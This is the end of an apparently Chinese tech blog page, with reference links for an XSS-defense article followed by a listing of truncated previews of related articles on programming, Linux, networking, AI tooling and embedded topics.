  • Google Web Fundamentals - 防御XSS
  • Trusted Types规范
  • 子资源完整性(SRI)说明

如果你觉得这篇文章有帮助,欢迎点赞收藏,也期待在评论区看到你的想法和建议!👇

终身学习,共同成长。

咱们下一期见

💻

相关文章:

HTML与安全性:XSS、防御与最佳实践

HTML 与安全性&#xff1a;XSS、防御与最佳实践 前言 现代 Web 应用程序无处不在&#xff0c;而 HTML 作为其基础结构&#xff0c;承载着巨大的安全责任。跨站脚本攻击&#xff08;XSS&#xff09;仍然是 OWASP Top 10 安全威胁之一&#xff0c;对用户数据和网站完整性构成严…...

三维重建(二十)——思路整理与第一步的进行

文章目录 一、整体思路二、细分三、之前存在问题四、任务安排五、第一步——找到内参并选定一种5.1 train的RTK5.2 test的RTK5.3 各选择一个5.3.1 train-185.3.2 test-193一、整体思路 这部分主要是宏观的讲一下整体框架。 从gshell里面提取核心参数,放入py3d,渲染出图片,…...

判断 ONNX 模型是否支持 GPU

&#x1f50d; 判断 ONNX 模型是否支持 GPU 的几个关键点&#xff1a; ✅ 1. 检查模型支持的 Execution Provider 可以通过下面的代码打印出来当前模型使用了什么设备&#xff1a; 需要安装好&#xff1a;onnxruntime-gpu import onnxruntime as ort session ort.InferenceSe…...

CANFD技术在实时运动控制系统中的应用:协议解析、性能测试与未来发展趋势

摘要&#xff1a; 本文深入探讨了CANFD技术在实时运动控制系统中的应用。通过对传统CAN协议与CANFD协议的对比分析&#xff0c;详细阐述了CANFD在提升数据传输效率、增强系统实时性与稳定性方面的优势。文章结合具体测试案例&#xff0c;对CANFD总线的性能指标进行了全面评估&a…...

Java基础 4.26

1.访问修饰符细节 package com.logic.modifier;public class A {public int n1 100;protected int n2 200;int n3 300;private int n4 400;public void m1() {//在同一个类中 可以访问public protected 默认 private 修饰属性和方法System.out.println(n1 " " …...

山东大学离散数学第九章习题解析

参考教材&#xff1a;离散数学教程&#xff0c;徐秋亮 / 栾俊峰 / 卢雷 / 王慧 / 赵合计 编著&#xff0c;山东大学计算机科学与技术学院 注&#xff1a;该解析为个人所写&#xff0c;涵盖了 2022-2023-2 学期赵合计老师所布置的所有课本习题&#xff1b;由于学识、认识及经验…...

5G融合消息PaaS项目深度解析 - Java架构师面试实战

5G融合消息PaaS项目深度解析 - Java架构师面试实战 场景&#xff1a;互联网大厂Java求职者面试&#xff0c;面试官针对5G融合消息PaaS项目进行提问。 第一轮提问 面试官&#xff1a;马架构&#xff0c;请简要介绍5G融合消息PaaS平台的核心功能和应用场景。 马架构&#xff…...

React-Redux

1、安装 npm i redux react-redux reduxjs/toolkit 2、基础使用方式&#xff08;无 Toolkit&#xff09; &#xff08;1&#xff09;核心Api createStore&#xff1a;创建数据仓库&#xff1b;store.dispatch()&#xff1a;用于派发action&#xff0c;执行修改动作&#xf…...

Linux基础篇、第4章_03系统磁盘高级管理LVM 逻辑卷管理器

题目&#xff1a;系统磁盘高级管理LVM 逻辑卷管理器 版本号: 1.0,0 作者: 老王要学习 日期: 2025.04.26 适用环境: Centos7 文档说明 本文档聚焦于 Centos7 系统下的磁盘高级管理&#xff0c;围绕 LVM 逻辑卷管理器展开。详细介绍了物理卷、卷组和逻辑卷的创建、管理与删除操…...

代码随想录算法训练营Day36

力扣1049.最后一块石头的重量Ⅱ【medium】 力扣474.一和零【meidum】 一、力扣1049.最后一块石头的重量Ⅱ【medium】 题目链接&#xff1a;力扣1049.最后一块石头的重量Ⅱ 视频链接&#xff1a;代码随想录 1、思路 把这个问题转换成尽可能将 stones 分成两个等分子集&#xf…...

iperf网络性能测试

iperf 是一个网络性能测试工具&#xff0c;用于测量网络带宽、延迟、抖动等性能指标。它支持 TCP 和 UDP 协议&#xff0c;可以在客户端和服务器模式下运行&#xff0c;广泛用于网络性能评估和故障排查。 主要功能 带宽测试&#xff1a;测量网络的最大可用带宽。延迟测试&…...

基于 Nginx 的 WebSocket 反向代理实践

一、HTTP 协议升级机制回顾 Upgrade/Connection 报头 客户端发起 WebSocket 握手时&#xff0c;会在普通 HTTP 请求中加入Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: <随机值> Sec-WebSocket-Version: 13服务端若接受协议切换&#xff0c;会以 101 Swit…...

C++ 同步原语

同步原语&#xff08;Synchronization Primitives&#xff09;是操作系统和编程语言提供的基本工具&#xff0c;用于在多线程或并发环境中协调线程&#xff08;或进程&#xff09;之间的执行顺序&#xff0c;管理共享资源的访问&#xff0c;以避免数据竞争&#xff08;data rac…...

mmap详解

mmap详解 mmap基础概念mmap内存映射原理mmap相关函数调用mmap的使用细节mmap和常规文件操作的区别 mmap基础概念 mmap是一种内存映射文件的方法&#xff0c;即将一个文件或者其它对象映射到进程的地址空间&#xff0c;实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一…...

基于大模型底座重构司法信息系统

前置篇章&#xff1a;法律智能体所需的基础知识 构建一个高效的法律智能体&#xff0c;特别是在基于RAG&#xff08;Retrieval-Augmented Generation&#xff09;架构的背景下&#xff0c;需要融合多种学科和领域的知识。以下是对法律智能体开发和应用所需核心基础知识的简要介…...

如何判断你的PyTorch是GPU版还是CPU版?

如何判断你的PyTorch是GPU版还是CPU版&#xff1f; PyTorch作为当前最流行的深度学习框架之一&#xff0c;支持在CPU和GPU(NVIDIA CUDA)上运行。对于深度学习开发者来说&#xff0c;正确识别PyTorch版本至关重要&#xff0c;因为GPU版本可以带来10-100倍的性能提升。本文将全面…...

Leetcode刷题记录19——无重复字符的最长子串

题源&#xff1a;https://leetcode.cn/problems/longest-substring-without-repeating-characters/description/?envTypestudy-plan-v2&envIdtop-100-liked 题目描述&#xff1a; 思路一&#xff1a; 通过两个指针&#xff0c;第一个指针指向字串的开头&#xff0c;第二…...

SpringBoot程序的创建以及特点,配置文件,LogBack记录日志,配置过滤器、拦截器、全局异常

一、创建一个SpringBoot程序 在之前写过一篇如何创建SpringBoot程序&#xff0c;两种方式&#xff0c;方法1&#xff1a;通过maven创建SpringBoot项目 方法2&#xff1a;使用Spring Initialzr创建一个SpringBoot项目&#xff08;缺点&#xff1a;当创建项目时网络中断&#x…...

Ubuntu20.04 Ollama 配置相关

Ubuntu20.04 Ollama 配置相关 Ubuntu20.04 Ollama 配置相关ollama修改配置文件常用命令修改端口局域网访问 Ubuntu20.04 Ollama 配置相关 ollama修改配置文件常用命令 sudo gedit /etc/systemd/system/ollama.service systemctl daemon-reload systemctl restart ollama sys…...

python调用ffmpeg对截取视频片段,可批量处理

本文完全免费&#xff0c;非VIP文章&#xff0c;如果您发现需VIP可看全文&#xff0c;请邮箱联系我&#xff1a;openwebsitefoxmail.com 文章目录 python调用ffmpeg对截取视频片段&#xff0c;可批量处理用到的ffmpeg命令python调用bash指令的方法python处理代码准备函数python…...

【WLAN】华为无线AC双机热备负载分担—双链路热备份

配套实验拓扑可以下载学习交流&#xff1a;【WLAN】华为无线AC双机负载分担—双链路热备份 双链路备份的传统配置方式是在主、备AC上为AP指定对方AC的IP地址&#xff0c;并分别配置优先级&#xff0c;通过比较优先级的方式来确定主、备AC。为简化配置逻辑&#xff0c;新配置方式…...

学习笔记——《Java面向对象程序设计》-内部类、匿名类、异常类

参考教材&#xff1a; Java面向对象程序设计&#xff08;第3版&#xff09;微课视频版 清华大学出版社 1、内部类 类中可以有两种重要的成员&#xff1a;成员变量和方法。实际上Java还允许类可以有一种成员&#xff1a;内部类。 内部类可以使用其外嵌类中的成员变量&#x…...

BS架构与CS架构的对比分析:了解两种架构的不同特点与应用

目录 前言1. BS架构概述1.1 什么是BS架构&#xff1f;1.2 BS架构的主要特点 2. CS架构概述2.1 什么是CS架构&#xff1f;2.2 CS架构的主要特点 3. BS架构与CS架构的对比3.1 用户体验3.2 安全性3.3 适用场景 4. 结语 前言 在现代软件开发中&#xff0c;架构设计决定了应用的性能…...

ARM架构的微控制器总线矩阵优先级与配置

在 ARM 架构的微控制器中,总线矩阵的优先级与配置是确保多主设备(如 CPU、DMA 等)高效协同工作的关键。总线矩阵通过仲裁逻辑(Arbiter)管理主设备对共享资源的访问冲突,优先级配置直接影响系统的实时性、带宽利用率和任务响应速度。以下是总线矩阵优先级机制及配置的详细…...

高速系统设计理论基础

如前一章所述&#xff0c;在进行高速系统设计时&#xff0c;最重要的是要从基本理论出发&#xff0c;只有掌握了基本理论&#xff0c;然后才能谈到其他的设计技术和技巧。本章主要介绍微波电磁理论基础&#xff0c;及其在高速系统设计中的工程化分析方法和应用。通过对微波信号…...

Python-MCPServer开发

Python-MCPServer开发 使用FastMCP开发【SSE模式的MCPServer】&#xff0c;熟悉【McpServer编码过程】【McpServer调试方法】 1-核心知识点 1-熟悉【SSE模式的MCPServer】开发2-熟悉【stdio模式的MCPServer】开发3-熟悉【启动MCPServer】的三种方式 3.1-直接启动:python mcp_s…...

Springboot集成SSE实现消息推送+RabbitMQ解决集群环境下SSE通道跨节点事件推送问题

SSE连接介绍&#xff0c;SSE对比WebSocket Server-Sent Events (SSE) 是一种基于 HTTP 协议的轻量级实时通信技术&#xff0c;允许服务器向客户端推送数据。以下是 SSE 的主要特点&#xff1a; 单向通信&#xff1a;SSE 仅支持服务器向客户端推送数据&#xff0c;客户端不能通…...

Kettle学习

一、Kettle 简介 Kettle(现称为 Pentaho Data Integration)是一款开源ETL工具,支持从多种数据源抽取、转换和加载数据,广泛应用于数据仓库构建、数据迁移和清洗。其核心优势包括: 可视化操作:通过拖拽组件设计数据处理流程(转换和作业)。多数据源支持:数据库(MySQL/…...

科学养生,开启健康生活新方式

在快节奏的现代生活中&#xff0c;健康养生已成为人们关注的焦点。科学的养生方式不仅能增强体质&#xff0c;还能有效预防疾病&#xff0c;提升生活质量。​ 合理饮食是健康养生的基础。日常饮食应遵循均衡原则&#xff0c;保证蛋白质、碳水化合物、脂肪、维生素和矿物质的合…...

brew 安装openjdk查看其版本

使用brew&#xff08;如果你使用Homebrew安装&#xff09; 如果你通过Homebrew安装了OpenJDK&#xff0c;可以使用以下命令来查看安装的版本,&#xff1a; brew list --versions openjdk8 这将会列出所有通过Homebrew安装的OpenJDK版本及其版本号。 3. 查看/usr/libexec/ja…...

基于大模型对先天性幽门肥厚性狭窄预测及临床方案的研究报告

目录 一、引言 1.1 研究背景与目的 1.2 国内外研究现状 1.3 研究方法与创新点 二、先天性幽门肥厚性狭窄概述 2.1 定义与发病机制 2.2 流行病学特征 2.3 病理与解剖特点 三、大模型预测原理及构建 3.1 大模型简介 3.2 数据收集与预处理 3.3 模型训练与优化 四、大…...

【开源】基于51单片机的温湿度检测报警系统

项目说明 该设计是一个简易的基于51单片机的温湿度检测报警系统&#xff0c;功能说明&#xff1a; 使用LCD1602实时显示当前的温湿度。读取DHT11的温湿度值&#xff0c;如果温度大于最大设定值&#xff0c;LED1亮&#xff0c;如果温度小于最小设定值&#xff0c;LED2亮。如果…...

2025年4月25日第一轮

1.作文 The increasing reliance on onlineshopping has brought both convince and challenge to consumsers.It is of great nesscity for poeple to adapt better strategies to cope with these challenges.Resons and concrete evidence to support my view are as fello…...

AutoSAR从概念到实践系列之MCAL篇(二)——Mcu模块配置及代码详解(下)

欢迎大家学习我的《AutoSAR从概念到实践系列之MCAL篇》系列课程,我是分享人M哥,目前从事车载控制器的软件开发及测试工作。 学习过程中如有任何疑问,可底下评论! 如果觉得文章内容在工作学习中有帮助到你,麻烦点赞收藏评论+关注走一波!感谢各位的支持! 上一篇内容主要为…...

A. Ideal Generator

time limit per test 1 second memory limit per test 256 megabytes We call an array aa, consisting of kk positive integers, palindromic if [a1,a2,…,ak][ak,ak−1,…,a1][a1,a2,…,ak][ak,ak−1,…,a1]. For example, the arrays [1,2,1][1,2,1] and [5,1,1,5][5,…...

微信小程序核心技术栈

微信小程序核心技术栈 WXML一.WXML基础概念1.本质与特点2.与HTML的主要差异 二.数据绑定1.基础绑定2.高级绑定模式3.数据绑定限制 三.条件渲染1.基础条件判断2.多条件渲染优化3.条件渲染性能建议 四.列表渲染1.基础列表2.进阶用法3.wx:key的深度解析 五.模版系统1.定义模版2.使…...

系统架构设计中的ATAM方法:理论、实践与深度剖析

引言 在复杂系统架构设计中,如何在性能、安全性、可维护性等质量属性之间实现平衡,是每一位资深架构师必须面对的终极挑战。传统的架构评审往往依赖经验直觉或局部优化,而‌ATAM(Architecture Tradeoff Analysis Method,架构权衡分析方法)‌通过结构化分析框架,系统性解…...

模板引擎语法-过滤器

模板引擎语法-过滤器 文章目录 模板引擎语法-过滤器[toc]1.default过滤器2.default_if_none过滤器3.length过滤器4.addslashes过滤器5.capfirst过滤器6.cut过滤器7.date过滤器8.dictsort过滤器 1.default过滤器 default过滤器用于设置默认值。default过滤器对于变量的作用&…...

关于GoWeb(1)

Go Web &#xff08;1&#xff09; 一、网络通信与 Socket 编程 &#xff08;一&#xff09;Socket 编程基础 Socket 是网络通信的核心&#xff0c;它允许程序之间通过网络进行数据交换。在 Go 中&#xff0c;可以使用标准库 net 来实现 Socket 编程。 &#xff08;二&…...

实现从一个微信小程序跳转到另一个微信小程序

前言&#xff1a; 最近在公司完成了一个两个小程序之间进行跳转的需求,将跳转方式与携带参数的方式分享给伙伴们&#xff1a; 代码展示&#xff1a; wx.navigateToMiniProgram({// 另一个程序的appIdappId: "wxbbd...",//你希望跳转到另一个小程序的目标路径&#…...

【教程】Docker运行gitlab容器

Docker运行gitlab容器 前言1.拉取gitlab镜像2.创建挂载数据卷3.运行镜像4 登录Gitalb5 访问linux的gitlab地址&#xff0c;输入用户名与密码 前言 在linux系统中安装gitlab的教程 1.拉取gitlab镜像 不指定 默认拉取最新版镜像 docker pull gitlab/gitlab-ce 2.创建挂载数据…...

微信小程序鲜花销售系统设计与实现

概述 在鲜花电商行业快速发展的背景下&#xff0c;移动端销售平台成为花店拓展业务的重要渠道。幽络源平台今日分享一款功能完善的微信小程序鲜花销售系统&#xff0c;该系统实现了多角色管理、在线订购、会员服务等核心功能&#xff0c;为鲜花行业提供了完整的电商解决方案。…...

嵌入式C设计模式---策略模式

目录 1.策略设计模式动漫详解 2.LVGL策略模式实现详解与应用 3.嵌入式中策略模式应用的优缺点 4.大话设计模式C语言实现 1.策略设计模式动漫详解 2.LVGL策略模式实现详...

打开canoe--点击capl Brower弹出错误,capl打不开

打开canoe–点击capl Brower弹出下图错误&#xff0c;capl打不开&#xff0c;友友们遇到过吗&#xff1f;怎么破&#xff1f;...

ultralytics 目标检测 混淆矩阵 背景图像 没被记录

修改 utils/metrics.py ConfusionMatrix def process_batch(self, detections, gt_bboxes, gt_cls):"""Update confusion matrix for object detection task.Args:detections (Array[N, 6] | Array[N, 7]): Detected bounding boxes and their associated inf…...

C++之map

因为前些天做了一道题&#xff1a;PTA:查询首都或国名-CSDN博客 这道题我和朋友的实现方式不同&#xff0c;想要学习学习她的这种方式&#xff0c;于是乎有了这篇研究 map 的文章。 先学习一下 map 的基本定义吧&#xff1a; map 是标准模板库&#xff08;STL&#xff09;中…...

【每天一个知识点】点乘(Dot Product)

点乘&#xff08;Dot Product&#xff09;在很多机器学习和图神经网络&#xff08;GNN&#xff09;中都有广泛应用&#xff0c;尤其在图结构重构中&#xff0c;它通常用来衡量节点之间的相似性或者关联性。让我们逐步深入理解点乘&#xff0c;尤其是在图结构重构中的应用。 1.…...

2025上海车展| 和芯星通发布覆盖车载全场景的产品方案

2025上海车展充满科技范儿&#xff0c;更加聚焦用户价值与安全性。智能化、电动化进一步深入融合&#xff0c;呈现辅助驾驶成熟量产化、舱驾融合一体化、产业链创新本土化、跨界融合生态化的趋势。 与其他辅助驾驶系统传感器相比&#xff0c;GNSS卫星定位能够提供独立于外部地…...

【Linux网络】构建HTTP响应与请求处理系统 - HttpResponse从理解到实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…...

识破养生假象,拥抱科学健康

在这个全民热衷养生的时代&#xff0c;各种养生理念与方法如潮水般涌来。但其中不少是迷惑大众的 “烟雾弹”&#xff0c;只有识破这些养生假象&#xff0c;我们才能踏上真正的健康之路。​ 不少人觉得&#xff0c;养生就得靠保健品 “撑腰”。市面上&#xff0c;各类宣称具有…...